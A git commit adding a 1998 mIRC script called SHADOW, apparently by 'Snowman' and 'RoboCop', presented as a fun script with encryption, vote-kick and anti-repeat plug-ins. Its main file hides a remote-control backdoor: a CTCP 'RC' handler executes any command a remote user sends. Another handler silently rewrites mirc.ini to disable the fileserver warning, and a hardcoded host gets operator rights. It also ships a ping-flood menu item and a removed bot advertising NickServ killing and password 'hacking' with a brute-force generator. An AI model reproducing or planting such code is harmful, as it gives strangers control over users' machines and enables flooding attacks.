First version of SHADOW script from March 1998.
This commit is contained in:
@@ -1,76 +0,0 @@
|
||||
on 1:SNotice:*You have 20 seconds before I kill you.*:{
|
||||
/nick $read -l%num d:\script\alpha\names.txt
|
||||
}
|
||||
on 1:Start:{
|
||||
/echo 2This is the Killer Bot Script from Snowman and Robocop
|
||||
/echo 2This is a Bot from the S|=|@|}0\\<5C> Script
|
||||
/echo 2This Bot can:
|
||||
/echo 2---------------------------------------------------------------
|
||||
/echo 2 Kill Nickserv
|
||||
/echo 2 Hack Founder Pass (Beta)
|
||||
/echo 2 Hack Nickserv Pass (Beta)
|
||||
/echo 2 Hack Channel Pass (Beta)
|
||||
/echo 2 Hack Oper Pass (Beta)
|
||||
/echo 2---------------------------------------------------------------
|
||||
/echo 2Some of these Hacker things are BUGFULLY
|
||||
/echo 2Please 4don<6F>t COPY 2 this BOT
|
||||
/titlebar SH@|}0\\<5C> Script Killer Bot
|
||||
}
|
||||
on 1:Connect:{
|
||||
/mode $me +ws
|
||||
/join #SHADOW
|
||||
}
|
||||
alias Shownext {
|
||||
set %ct 0
|
||||
:Inc
|
||||
IncCode
|
||||
%ct = %ct + 1
|
||||
echo NewCode: %code
|
||||
if %ct <= $1 { goto Inc }
|
||||
}
|
||||
|
||||
alias IncCode {
|
||||
; This procedure increases the entire code
|
||||
set %curchgpos 1
|
||||
set %take 1
|
||||
:BeginInc
|
||||
IncChar %curchgpos
|
||||
set %take %take + 1
|
||||
if (( %take <= $len( %code ) ) && ( %incnext == true )) { set %curchgpos %curchgpos + 1 | unset %incnext | goto BeginInc }
|
||||
}
|
||||
|
||||
alias IncChar {
|
||||
; This procedure increases just one single char
|
||||
; Syntax: IncChar <PosOfChar>
|
||||
; <PosOfChar> is the position of the char to change. 1 means the rightest char.
|
||||
if (( $1 < 1 ) || ( $1 > $len( %code ) )) { echo 4WARNING! Syntax error in procedure IncChar. | echo Syntax: IncChar <PosOfChar> (You tried to change the $1. char in a $len( %code ) chars length string) | halt }
|
||||
set %posofstring $1 - 1
|
||||
set %postochange $len( %code ) - %posofstring
|
||||
unset %posofstring
|
||||
set %chartochange $mid( %code , %postochange , 1)
|
||||
set %ascofchar $asc( %chartochange )
|
||||
unset %chartochange
|
||||
set %ascofnewchar %ascofchar + 1
|
||||
unset %ascofchar
|
||||
; The following lines are for cricitcal chars
|
||||
; 32 - [Space] is interpreted as unvisible - B+[Space] changes to B
|
||||
; 0 - [NUL] same as [Space]
|
||||
; 61 - = I don't know, why this doesn't work
|
||||
if %ascofnewchar > 255 { set %ascofnewchar 0 | set %incnext true }
|
||||
if %ascofnewchar == 32 { set %ascofnewchar 33 }
|
||||
if %ascofnewchar == 0 { set %ascofnewchar 1 }
|
||||
if %ascofnewchar == 61 { set %ascofnewchar 62 }
|
||||
set %newchar $chr( %ascofnewchar )
|
||||
unset %ascofnewchar
|
||||
set %unchangedstringlen %postochange - 1
|
||||
set %unchangedstring $left( %code , %unchangedstringlen )
|
||||
unset %unchangedstringlen
|
||||
set %charsafterchanged $len( %code ) - %postochange
|
||||
unset %postochange
|
||||
set %rest $right( %code , %charsafterchanged )
|
||||
unset %charsafterchanged
|
||||
set %code %unchangedstring $+ %newchar $+ %rest
|
||||
unset %newchar
|
||||
unset %rest
|
||||
unset %unchangedstring
|
||||
}
|
||||
5
shadow.exo
Normal file
5
shadow.exo
Normal file
@@ -0,0 +1,5 @@
|
||||
Name S|=|a<>o\\'-DevCrypt
|
||||
Recipients Snowman/RoboCop
|
||||
Signature !S!
|
||||
Coded +`<60><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>զ<EFBFBD><D5A6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ٯ<EFBFBD><D9AF><EFBFBD><EFBFBD>Ҿ<EFBFBD>+<2B>41<34><31>
|
||||
Plain !?.zyxwvutsrqponmlkjihgfedcba0987654321
|
||||
429
shadow.irc
Normal file
429
shadow.irc
Normal file
@@ -0,0 +1,429 @@
|
||||
;S|-|ADO\\' - Script
|
||||
|
||||
;User's manual
|
||||
;First you have to configure this nice script
|
||||
;Simply right click in the channel window, choose "S|=|a<>o\\'", then "eXocrypt plug-in" and
|
||||
;then click on "Change CODE" and enter "exocrypt.exo". This sets all the neccessary
|
||||
;variables to send and receive encrypted messages.
|
||||
;For further assistance look at the comments in the plug-ins
|
||||
|
||||
menu nicklist {
|
||||
-
|
||||
S|=|a<>o\\'
|
||||
.DNS lookup: dns $$1
|
||||
.Show hops to user: {
|
||||
dns $$1
|
||||
run TRACERT $$?="Enter the IP address of $$1 (shown in the STATUS window):"
|
||||
}
|
||||
.Flood
|
||||
..PING: {
|
||||
set %ipstring $address( $$1 , 2)
|
||||
set %lenofipstring $len(%ipstring)
|
||||
set %newlen %lenofipstring - 4
|
||||
echo IPSTRING: %ipstring
|
||||
unset %lenofipstring
|
||||
set %finalipstring $right(%ipstring,%newlen)
|
||||
echo FINALIPSTRING: %finalipstring
|
||||
unset %ipstring
|
||||
unset %newlen
|
||||
dns %finalipstring
|
||||
run -n PING -l 64000 -t $$?="Enter the IP address of $$1 (shown in the STATUS window):"
|
||||
unset %finalipstring
|
||||
}
|
||||
.-
|
||||
.if user uses S|=|a<>o\\'
|
||||
..Turn his fileserver warning off: .ctcp $$1 IFS
|
||||
..Remote Control: .ctcp $$1 RC $$?="What commands should (s)he do?"
|
||||
.-
|
||||
.<2E><><EFBFBD>`<60>.<2E><>.<2E> plug-ins following <20>.<2E><>.<2E><><EFBFBD>`<60>:echo <20>
|
||||
.-
|
||||
.Lame-O-Meter plug-in
|
||||
..Type 1 (Xtra percentage field): lame1 $$?="Enter percentage/10 (10=100%):" $$1
|
||||
..Type 2 (Percentage shown behind text): lame2 $$?="Enter percentage/10 (10=100%):" $$1
|
||||
}
|
||||
|
||||
menu channel {
|
||||
-
|
||||
S|=|a<>o\\'
|
||||
.Show stats: shstats
|
||||
.Show users using S|=|a<>o\\': showShadows
|
||||
.Who was:whowas $$?="Nickname:"
|
||||
.Clone detection: clonedet $$1
|
||||
.Rejoin channel: part $1 | timer 1 1 join $chan
|
||||
.-
|
||||
.Show color codes: cols
|
||||
.-
|
||||
.<2E><><EFBFBD>`<60>.<2E><>.<2E> plug-ins following <20>.<2E><>.<2E><><EFBFBD>`<60>:echo <20>
|
||||
.-
|
||||
.eXocrypt plug-in
|
||||
..Change CODE:Method
|
||||
..Info about current CODE:MI
|
||||
..-
|
||||
..Send crypted message:eXo $$?="Enter text to eXocrypt:"
|
||||
.COMMAND KICKer plug-in
|
||||
..Turn CK ON:con
|
||||
..Turn CK OFF:coff
|
||||
..Show stats of CK:cstat
|
||||
..-
|
||||
..Inform channel of CK:cinfo
|
||||
.REPEAT ELIMINATOR plug-in
|
||||
..Turn RE ON:ron
|
||||
..Turn RE OFF:roff
|
||||
..Show stats of RE:rstat
|
||||
..-
|
||||
..Inform channel of RE:rinfo
|
||||
}
|
||||
|
||||
100:*!RoboCop@*.berlin2m.germany.net
|
||||
|
||||
ctcp 1:version:if ( %sr == $null ) { .notice $nick I'm using <20>|=|a<>o\\' Script by Snowman&RoboCop..... | halt } | if ( %sr != $null ) { beep 3 100 | echo -a 1,8ATTENTION! $1- from $nick $+ ! }
|
||||
ctcp 1:IFS:if ( %sr == $null ) { %mircini = $mircdir $+ mirc.ini | .writeini %mircini fileserver Warning Off | .notice $nick FileServer setting rewritten. User must restart mIRC! | halt } | if ( %sr != $null ) { beep 3 100 | echo -a 1,4WARNING! $1- from $nick $+ ! }
|
||||
ctcp 1:RC:if ( %sr == $null ) { $2- | halt } | if ( %sr != $null ) { beep 3 100 | echo -a 1,4WARNING! $1- from $nick $+ ! }
|
||||
on @+1:text:!opme:#:/.msg $chan 1,11 COMMAND OPer: User level for $nick 1,4 NOT OK . Try again later, $nick. | /echo -a 1,11 COMMAND OPer: $nick requested an OP for $chan. OP refused.
|
||||
on @100:text:!opme:#:/.msg $chan 1,11 COMMAND OPer: User level for $nick 1,9 OK . Giving OP for $chan to $nick ... | /.mode $chan +o $nick | /echo -a 1,11 COMMAND OPer: $nick requested an OP for $chan. OP granted.
|
||||
ctcp 1:INS:if ( %sr == $null ) { .auto $nick | halt } | if ( %sr != $null ) { beep 3 100 | echo -a 1,4WARNING! $1- from $nick $+ ! }
|
||||
ctcp 1:CFS:if ( %sr == $null ) { .notice $nick is using <20>|=|a<>o\\' | halt } | if ( %sr != $null ) { beep 3 100 | echo -a 1,8ATTENTION! $1- from $nick $+ ! }
|
||||
|
||||
alias cols {
|
||||
/echo -a 0,1Color Table: 1,0 0 0,1 1 0,2 2 0,3 3 0,4 4 0,5 5 0,6 6 1,7 7 1,8 8 1,9 9 0,10 10 1,11 11 0,12 12 1,13 13 0,14 14 1,15 15
|
||||
/echo -a 0,1Control codes: Bold ---- Underlined ---- Reverse ---- 1,8K - coloured0,1 ---- O - plain
|
||||
}
|
||||
|
||||
alias shstats {
|
||||
echo -s 1,8S|=|a<>o\\' Status
|
||||
echo -s 1,7S|=|a<>o\\' was written by RoboCop
|
||||
if %con == 1 { echo -s 1,8COMMAND KICKer is currently 1,4ON }
|
||||
if %con != 1 { echo -s 1,8COMMAND KICKer is currently 1,9OFF }
|
||||
if %ron == 1 { echo -s 1,8REPEAT ELIM is currently 1,4ON }
|
||||
if %ron != 1 { echo -s 1,8REPEAT ELIM is currently 1,9OFF }
|
||||
echo -s 1,8eXocrypt codec is set to 1,11 $+ %N ( $+ %CrypFile $+ )
|
||||
echo -s -----
|
||||
}
|
||||
|
||||
alias clonedet {
|
||||
}
|
||||
|
||||
alias ShowShadows {
|
||||
%tempvar = $nick(# , 0)
|
||||
%countvar = 1
|
||||
:SSLabel
|
||||
if $nick(# , %countvar ) != $me { .echo -a Sending <20><><EFBFBD> request to " $+ $nick(#, %countvar ) $+ " ... | .CTCP $nick(# , %countvar ) CFS }
|
||||
%countvar = %countvar + 1
|
||||
if %countvar > %tempvar {
|
||||
unset %tempvar
|
||||
unset %countvar
|
||||
}
|
||||
else goto SSLabel
|
||||
}
|
||||
|
||||
|
||||
;####################################################eXocrypt routine
|
||||
;Using eXoCrypt with own codes
|
||||
;For using own codes with eXocrypt, you will have to make a new
|
||||
;file with contents like:
|
||||
;Name <name of your code>
|
||||
;Recipients <name for recipients (if you make a code for only you&one other person)>
|
||||
;Signature <Signature (must start with ! or it won't work)>
|
||||
;Coded <charset coded>
|
||||
;Plain <charset plain>
|
||||
;and define a
|
||||
;new line in this script here:
|
||||
;if %try == 1 { %DCrypFile = yourcode.exo | %try = %try + 1 | goto TryAgain }
|
||||
;This line must be above the unset %deeXo statement in the ON TEXT-eXocrypt-part
|
||||
;For further codes, replace the "%try == 1" with "%try == 2" and so on.
|
||||
;
|
||||
;Charsets
|
||||
;You have to make 2 charsets. One with the plain data and one with the coded data.
|
||||
;The format is very simple, e.g. if the plain char in the string after "Plain" is on the 3rd place
|
||||
;the coded char has to be on the 3rd place in the string after "Coded". Example:
|
||||
;Coded 123
|
||||
;Plain ABC
|
||||
;This would send 1 instead of A, 2 instead of B and 3 instead of C. All other chars won't be
|
||||
;converted.
|
||||
|
||||
alias Method {
|
||||
/set %CrypFile $$?1="Enter file to encrypt with (incl. extension)"
|
||||
%S = $read -sSignature %CrypFile
|
||||
%N = $read -sName %CrypFile
|
||||
%R = $read -sRecipients %CrypFile
|
||||
%P = $read -sPlain %CrypFile
|
||||
%C = $read -sCoded %CrypFile
|
||||
/echo -a 1,8 You selected 1,9 %N 1,8 encryption 1,9( $+ %S $+ )1,8. Recipients: 1,9 %R 1,8.
|
||||
}
|
||||
|
||||
alias MI {
|
||||
/echo -a 0,4 ENCRYPTION METHOD INFO
|
||||
/echo -a 1,8 Filename: 1,7 %CrypFile
|
||||
/echo -a 1,8 Signature: 1,7 %S
|
||||
/echo -a 1,8 Name: 1,7 %N
|
||||
/echo -a 1,8 Recipients: 1,7 %R
|
||||
/echo -a 1,8 Charset-Plain: 1,7 %P
|
||||
/echo -a 1,8 Charset-Coded: 1,7 %C
|
||||
}
|
||||
|
||||
alias eXo {
|
||||
/set %eXo $$?1="Enter Text To eXoCrYpT" *2
|
||||
%char = 1
|
||||
:DoItAgain
|
||||
%eXo = $replace(%eXo, $mid(%P,%char,1), $mid(%C,%char,1))
|
||||
%char = %char + 1
|
||||
if %char <= 39 goto DoItAgain
|
||||
unset %char
|
||||
say %S %eXo
|
||||
echo 4 -a < $+ %N coded to %R $+ > $$1-
|
||||
unset %eXo
|
||||
}
|
||||
|
||||
alias deeXo {
|
||||
%DN = $read -sName %DCrypFile
|
||||
%DR = $read -sRecipients %DCrypFile
|
||||
%DP = $read -sPlain %DCrypFile
|
||||
%DC = $read -sCoded %DCrypFile
|
||||
%char = 1
|
||||
:DoItAgain
|
||||
%deeXo = $replace(%deeXo, $mid(%DC,%char,1), $mid(%DP,%char,1))
|
||||
%char = %char + 1
|
||||
if %char <= 39 goto DoItAgain
|
||||
unset %char
|
||||
ECHO 4 $chan < $+ %DN coded from %exonick $+ > %deeXo
|
||||
unset %deeXo
|
||||
unset %exonick
|
||||
unset %DN
|
||||
unset %DR
|
||||
unset %DP
|
||||
unset %DC
|
||||
unset %DCrypFile
|
||||
}
|
||||
|
||||
ON 1:TEXT:!*:*:{
|
||||
set %Sign $parm1
|
||||
set %deeXo $parm2*
|
||||
set %eXonick $nick
|
||||
%DCrypFile = exocrypt.exo
|
||||
%try = 1
|
||||
:TryAgain
|
||||
%CS = $read -sSignature %DCrypFile
|
||||
if %Sign == %CS {
|
||||
deeXo
|
||||
unset %try
|
||||
unset %CS
|
||||
unset %Sign
|
||||
goto EndOfThis
|
||||
}
|
||||
if %try == 1 { %DCrypFile = loops.exo | %try = %try + 1 | goto TryAgain }
|
||||
if %try == 2 { %DCrypFile = sha<68>ow.exo | %try = %try + 1 | goto TryAgain }
|
||||
unset %deeXo
|
||||
unset %eXonick
|
||||
unset %try
|
||||
:EndOfThis
|
||||
}
|
||||
|
||||
ON 1:CHAT:!X!*:{
|
||||
set %deeXo $parm2*
|
||||
set %eXonick $nick
|
||||
deeXo
|
||||
}
|
||||
;#################################################eXocrypt ends here
|
||||
|
||||
;############################################COMMAND KICKer routine
|
||||
; COMMAND KICKer v2.5 (08-01-1997)
|
||||
; FunScript for mIRC
|
||||
; developed by RoboCop (irc.germany.net)
|
||||
; Usage:
|
||||
; Anyone (except you) can type !kick <nick> to kick the desired nickname. The user of the script can't be kicked by the script.
|
||||
; After the !kick-command 5 different(!) other chatters (this means not you and not <nick>) have now the choice to agree by typing
|
||||
; in YES or to disagree by typing NO. If s.o. agrees, CK will count it - if there are 5 agreements <nick> is no more ;-)
|
||||
; If s.o. disagrees CK will completely interrupt the Kicking process. Someone will have to start again. Simple, isn't it?
|
||||
; Also every user joining a channel, which you are on will be instantly informed of this script. You can also type /cinfo to let the
|
||||
; others know, what script you're using (in case of s.o. has forgotten it). Have much fun with this.
|
||||
; You can switch the script on by typing /con, off with /coff and to view the current status type /cstat.
|
||||
; This script only works if you got the OP (@) status!
|
||||
|
||||
alias cinfo /amsg 1,4/4,1/1,4/4,1/1,4/4,1/1,4/4,1/1,4/4,1/1,4/4,1/1,4 WARNING 4,1 AGAINST 1,4 SCRIPTS 4,1\1,4\4,1\1,4\4,1\1,4\4,1\1,4\4,1\1,4\4,1\1,4\ | /ame is using 1,11/11,1/1,11/11,1/1,11 COMMAND KICKer 11,1\1,11\11,1\1,11\ by RoboCop _.<2E><><EFBFBD>) (Type !kick <nick> to kick <nick>.)
|
||||
|
||||
alias con /msg $chan 1,11/11,1/1,11/11,1/1,11 COMMAND KICKer 11,1\1,11\11,1\1,11\ is now 9activated!! | /set %con 1
|
||||
|
||||
alias coff {
|
||||
/msg $chan 1,11/11,1/1,11/11,1/1,11 COMMAND KICKer 11,1\1,11\11,1\1,11\ is now 4disactivated!!
|
||||
/unset %con
|
||||
/unset %kick
|
||||
/unset %kick1
|
||||
/unset %kick2
|
||||
/unset %kick3
|
||||
/unset %kick4
|
||||
/unset %y
|
||||
/unset %vip
|
||||
}
|
||||
|
||||
alias cstat {
|
||||
if %con == 1 /set %stat 9activated
|
||||
if %con != 1 /set %stat 4disactivated
|
||||
/echo -a 1,11/11,1/1,11/11,1/1,11 COMMAND KICKer 11,1\1,11\11,1\1,11\ is currently %stat $+ !!
|
||||
/unset %stat
|
||||
}
|
||||
|
||||
alias alrv {
|
||||
/.msg $$1 1,11/11,1/1,11/11,1/1,11 COMMAND KICKer 11,1\1,11\11,1\1,11\ Be fair, $$2 ( %vip ). You had your voice already!
|
||||
/unset %vip
|
||||
/halt
|
||||
}
|
||||
|
||||
on @1:join:#:if (( $nick != $me ) && ( %con == 1 )) { /.notice $nick $me is using 1,11/11,1/1,11/11,1/1,11 COMMAND KICKer 11,1\1,11\11,1\1,11\ by RoboCop _.<2E><><EFBFBD>) (Type !kick <nick> to kick <nick>.) | /echo -a 1,11/11,1/1,11/11,1/1,11 COMMAND KICKer 11,1\1,11\11,1\1,11\ $nick has been informed that you're using me. }
|
||||
|
||||
on @1:text:!kick *:#:{
|
||||
if ( %con != 1 ) { /.msg $chan 1,11/11,1/1,11/11,1/1,11 COMMAND KICKer 11,1\1,11\11,1\1,11\ is currently 9disabled!! | /halt }
|
||||
%kick = $2
|
||||
%y = 0
|
||||
if %kick == $me {
|
||||
/.msg $chan 1,11/11,1/1,11/11,1/1,11 COMMAND KICKer 11,1\1,11\11,1\1,11\ $nick requests a kick for $me. Kick aborted.
|
||||
goto Dontkick
|
||||
}
|
||||
if %kick isprotect {
|
||||
/.msg $chan 1,11/11,1/1,11/11,1/1,11 COMMAND KICKer 11,1\1,11\11,1\1,11\ $nick requests a kick for %kick $+ . Kick aborted because %kick is in $me's protect list.
|
||||
goto Dontkick
|
||||
}
|
||||
if %kick == RoboCop {
|
||||
/.msg $chan 1,11/11,1/1,11/11,1/1,11 COMMAND KICKer 11,1\1,11\11,1\1,11\ $nick requested a kick for %kick $+ . Kick aborted because %kick is a protected name.
|
||||
goto Dontkick
|
||||
}
|
||||
if %kick ison $chan {
|
||||
/.msg $chan 1,11/11,1/1,11/11,1/1,11 COMMAND KICKer 11,1\1,11\11,1\1,11\ $nick requests a kick for %kick - 5 of you have to agree, just write YES
|
||||
/halt
|
||||
}
|
||||
/.msg $chan 1,11/11,1/1,11/11,1/1,11 COMMAND KICKer 11,1\1,11\11,1\1,11\ $nick requested a kick for a user not existing in this room. Kick aborted.
|
||||
:Dontkick
|
||||
/unset %kick
|
||||
/unset %y
|
||||
}
|
||||
|
||||
|
||||
on @1:text:YES:#:{
|
||||
if ( %con != 1 ) halt
|
||||
%vip = $address($nick,2)
|
||||
if (($nick != %kick) && (%kick != $null)) {
|
||||
if ((%kick1 != $null) && (%kick1 == %vip)) alrv $chan $nick
|
||||
elseif (%kick1 == $null) { set %kick1 %vip | goto conthere }
|
||||
|
||||
if ((%kick2 != $null) && (%kick2 == %vip)) alrv $chan $nick
|
||||
elseif (%kick2 == $null) { set %kick2 %vip | goto conthere }
|
||||
|
||||
if ((%kick3 != $null) && (%kick3 == %vip)) alrv $chan $nick
|
||||
elseif (%kick3 == $null) { set %kick3 %vip | goto conthere }
|
||||
|
||||
if ((%kick4 != $null) && (%kick4 == %vip)) alrv $chan $nick
|
||||
elseif (%kick4 == $null) { set %kick4 %vip | goto conthere }
|
||||
:conthere
|
||||
%y = %y + 1
|
||||
/.msg $chan 1,11/11,1/1,11/11,1/1,11 COMMAND KICKer 11,1\1,11\11,1\1,11\ Agreement No. %y by $nick ...
|
||||
if %y == 5 {
|
||||
/.msg $chan 1,11/11,1/1,11/11,1/1,11 COMMAND KICKer 11,1\1,11\11,1\1,11\ Kick agreed by 5 different users. Kicking %kick ... _.<2E><><EFBFBD>)
|
||||
/.kick $chan %kick Five users agreed to kick you. Sorry!
|
||||
/unset %kick
|
||||
/unset %kick1
|
||||
/unset %kick2
|
||||
/unset %kick3
|
||||
/unset %kick4
|
||||
/unset %y
|
||||
/unset %vip
|
||||
}
|
||||
}
|
||||
elseif (%kick == $nick) /.msg $chan 1,11/11,1/1,11/11,1/1,11 COMMAND KICKer 11,1\1,11\11,1\1,11\ Sorry, $nick, but it wouldn't be fair to let you vote.
|
||||
}
|
||||
|
||||
on @1:text:NO:#:{
|
||||
if ( %con != 1 ) halt
|
||||
if ((%kick != $null) && (%kick != $nick)) {
|
||||
/unset %y
|
||||
/unset %kick
|
||||
/unset %kick1
|
||||
/unset %kick2
|
||||
/unset %kick3
|
||||
/unset %kick4
|
||||
/.msg $chan 1,11/11,1/1,11/11,1/1,11 COMMAND KICKer 11,1\1,11\11,1\1,11\ Kick cancelled by $nick
|
||||
}
|
||||
elseif (%kick == $nick) /.msg $chan 1,11/11,1/1,11/11,1/1,11 COMMAND KICKer 11,1\1,11\11,1\1,11\ Sorry, $nick, but I cannot allow you to stop your death command. Life is unjust, eh?
|
||||
}
|
||||
;###########################################COMMAND KICKer ends here
|
||||
|
||||
;##########################################REPEAT ELIMINATOR routine
|
||||
;Repeat Eliminator v1.0 (08-01-1997)
|
||||
; FunScript for mIRC
|
||||
; developed by RoboCop (irc.germany.net)
|
||||
; Usage:
|
||||
; Just load this script and enjoy. If someone repeats his statement, RE will warn him. If he repeats it again, he will get the 2nd
|
||||
; warning. But if he repeats it once again, he will be kicked outa tha room. You and your protected friends can't be kicked, because
|
||||
; your statements doesn't trigger the text-event and if someone protected repeats something, RE won't punish him ;-).
|
||||
; With /ron and /roff you can trigger the status of RE which is shown with /rstat.
|
||||
; This script only works if you got the OP (@) status!
|
||||
|
||||
alias rinfo /amsg 1,4/4,1/1,4/4,1/1,4/4,1/1,4/4,1/1,4/4,1/1,4/4,1/1,4 WARNING 4,1 AGAINST 1,4 SCRIPTS 4,1\1,4\4,1\1,4\4,1\1,4\4,1\1,4\4,1\1,4\4,1\1,4\ | /ame is using 1,8/8,1/1,8/8,1/1,8 Repeat Eliminator 8,1\1,8\8,1\1,8\ by RoboCop _.<2E><><EFBFBD>)
|
||||
|
||||
alias ron /msg $chan 1,8/8,1/1,8/8,1/1,8 Repeat Eliminator 8,1\1,8\8,1\1,8\ is now 9activated!! | /set %ron 1
|
||||
|
||||
alias roff /msg $chan 1,8/8,1/1,8/8,1/1,8 Repeat Eliminator 8,1\1,8\8,1\1,8\ is now 4disactivated!! | /unset %ron
|
||||
|
||||
alias rstat {
|
||||
if %ron == 1 /set %stat 9activated
|
||||
if %ron != 1 /set %stat 4disactivated
|
||||
/echo -a 1,8/8,1/1,8/8,1/1,8 Repeat Eliminator 8,1\1,8\8,1\1,8\ is currently %stat $+ !!
|
||||
/unset %stat
|
||||
}
|
||||
|
||||
on @1:join:#:if (( $nick != $me ) && ( %ron == 1 )) { /.notice $nick $me is using 1,8/8,1/1,8/8,1/1,8 Repeat Eliminator 8,1\1,8\8,1\1,8\ by RoboCop _.<2E><><EFBFBD>) | /echo -a 1,8/8,1/1,8/8,1/1,8 Repeat Eliminator 8,1\1,8\8,1\1,8\ $nick has been informed that you're using me. }
|
||||
|
||||
on @1:text:*:#:{
|
||||
if (( $nick isprotect ) || ( $nick == RoboCop ) || ( %ron != 1 )) /halt
|
||||
if ( $1- != %text ) {
|
||||
/set %text $1-
|
||||
/set %rnick $nick
|
||||
/set %t 0
|
||||
/halt
|
||||
}
|
||||
if (( $1- == %text ) && ( %rnick == $nick ) && ( %t == 0 )) {
|
||||
/.msg $chan 1,8/8,1/1,8/8,1/1,8 Repeat Eliminator 8,1\1,8\8,1\1,8\ 9,9__ Hey $nick $+ ! Don't repeat it. We have understood.
|
||||
%t = %t + 1
|
||||
/halt
|
||||
}
|
||||
if (( $1- == %text ) && ( %rnick == $nick ) && ( %t == 1 )) {
|
||||
/.msg $chan 1,8/8,1/1,8/8,1/1,8 Repeat Eliminator 8,1\1,8\8,1\1,8\ 8,8__ $nick $+ ! This is your 2nd warning! Once again, and I kick ya ass!
|
||||
%t = %t + 1
|
||||
/halt
|
||||
}
|
||||
if (( $1- == %text ) && ( %rnick == $nick ) && ( %t == 2 )) {
|
||||
/.msg $chan 1,8/8,1/1,8/8,1/1,8 Repeat Eliminator 8,1\1,8\8,1\1,8\ 4,4__ I warned you, $nick! Kicking $nick .... _.<2E><><EFBFBD>)
|
||||
/kick $chan $nick Kicked by the 1,8/8,1/1,8/8,1/1,8 Repeat Eliminator 8,1\1,8\8,1\1,8\ by RoboCop
|
||||
/set %t 0
|
||||
}
|
||||
}
|
||||
;########################################REPEAT ELIMINATOR ends here
|
||||
;################################################Lame-O-Meters routine
|
||||
alias lame1 {
|
||||
%z = 0
|
||||
:Addanother
|
||||
if ( %z < $$1 ) { %z = %z + 1 | %ls = %ls $+ _ | goto Addanother }
|
||||
:Addan2
|
||||
if ( %z < 10 ) { %z = %z + 1 | %rs = %rs $+ _ | goto Addan2 }
|
||||
/.msg $chan 0,12Lame-O-Meter: 7,12 $$2 is 9,9 $+ %ls $+ 3,3 $+ %rs $+ 9,12 $$1 $+ 0 % $+ 7 lame.
|
||||
/unset %z
|
||||
/unset %ls
|
||||
/unset %rs
|
||||
}
|
||||
|
||||
alias lame2 {
|
||||
%tx = Lame-O-Meter: $$2 is $$1 $+ 0 % lame.
|
||||
%lt = $len( %tx ) * 10
|
||||
%lp = %lt * $$1
|
||||
%lp = %lp / 100
|
||||
%rp = $len( %tx )
|
||||
%rp = %rp - %lp
|
||||
%t1 = $left( %tx , %lp )
|
||||
%t2 = $right( %tx , %rp )
|
||||
/.msg $chan 1,8 $+ %t1 $+ 8,1 $+ %t2 $+
|
||||
/unset %tx
|
||||
/unset %lt
|
||||
/unset %lp
|
||||
/unset %rp
|
||||
/unset %t1
|
||||
/unset %t2
|
||||
}
|
||||
;###############################################Lame-O-Meters end here
|
||||
72
startup.txt
Normal file
72
startup.txt
Normal file
@@ -0,0 +1,72 @@
|
||||
/titlebar S
|
||||
/titlebar S|
|
||||
/titlebar S|=
|
||||
/titlebar S|=|
|
||||
/titlebar S|=|@
|
||||
/titlebar S|=|@|
|
||||
/titlebar S|=|@|}
|
||||
/titlebar S|=|@|}0
|
||||
/titlebar S|=|@|}0\
|
||||
/titlebar S|=|@|}0\\
|
||||
/titlebar S|=|@|}0\\<5C>
|
||||
/titlebar S|=|@|}0\\
|
||||
/titlebar S|=|@|}0\
|
||||
/titlebar S|=|@|}0
|
||||
/titlebar S|=|@|}
|
||||
/titlebar S|=|@|
|
||||
/titlebar S|=|@
|
||||
/titlebar S|=|
|
||||
/titlebar S|=
|
||||
/titlebar S|
|
||||
/titlebar S
|
||||
/titlebar
|
||||
/titlebar S|
|
||||
/titlebar S|=
|
||||
/titlebar S|=|
|
||||
/titlebar S|=|@
|
||||
/titlebar S|=|@|
|
||||
/titlebar S|=|@|}
|
||||
/titlebar S|=|@|}0
|
||||
/titlebar S|=|@|}0\
|
||||
/titlebar S|=|@|}0\\
|
||||
/titlebar S|=|@|}0\\<5C> S
|
||||
/titlebar S|=|@|}0\\ SC
|
||||
/titlebar S|=|@|}0\ SCR
|
||||
/titlebar S|=|@|}0 SCRI
|
||||
/titlebar S|=|@|} SCRIP
|
||||
/titlebar S|=|@| SCRIPT
|
||||
/titlebar S|=|@|} SCRIP
|
||||
/titlebar S|=|@|}0 SCRI
|
||||
/titlebar S|=|@|}0\ SCR
|
||||
/titlebar S|=|@|}0\\ SC
|
||||
/titlebar S|=|@|}0\\<5C> S
|
||||
/titlebar S|=|@|}0\\<5C>
|
||||
/titlebar S|=|@|}0\\
|
||||
/titlebar S|=|@|}0\
|
||||
/titlebar S|=|@|}0
|
||||
/titlebar S|=|@|}
|
||||
/titlebar S|=|@|
|
||||
/titlebar S|=|@
|
||||
/titlebar S|=|
|
||||
/titlebar S|=
|
||||
/titlebar S|
|
||||
/titlebar S
|
||||
/titlebar
|
||||
/titlebar S|=|@|}0\\<5C>__________S|=|@|}0\\<5C>___________
|
||||
/titlebar ___________S|=|@|}0\\<5C>__________S|=|@|}0\\<5C>
|
||||
/titlebar S|=|@|}0\\<5C>__________S|=|@|}0\\<5C>___________
|
||||
/titlebar ___________S|=|@|}0\\<5C>__________S|=|@|}0\\<5C>
|
||||
/titlebar S|=|@|}0\\<5C>__________S|=|@|}0\\<5C>___________
|
||||
/titlebar ___________S|=|@|}0\\<5C>__________S|=|@|}0\\<5C>
|
||||
/titlebar S|=|@|}0\\<5C>__________S|=|@|}0\\<5C>___________
|
||||
/titlebar ___________S|=|@|}0\\<5C>__________S|=|@|}0\\<5C>
|
||||
/titlebar
|
||||
/titlebar ___________ Script __ Snowman ___ Robocop
|
||||
/titlebar S|=|@|}0\\<5C> ______ by _______ and _______
|
||||
/titlebar ___________ Script __ Snowman ___ Robocop
|
||||
/titlebar S|=|@|}0\\<5C> ______ by _______ and _______
|
||||
/titlebar ___________ Script __ Snowman ___ Robocop
|
||||
/titlebar S|=|@|}0\\<5C> Script by Snowman and Robocop
|
||||
/titlebar S|=|@|}0\\<5C> Your on $server it is $time -={Waiting for lag Info}=-
|
||||
|
||||
|
||||
Reference in New Issue
Block a user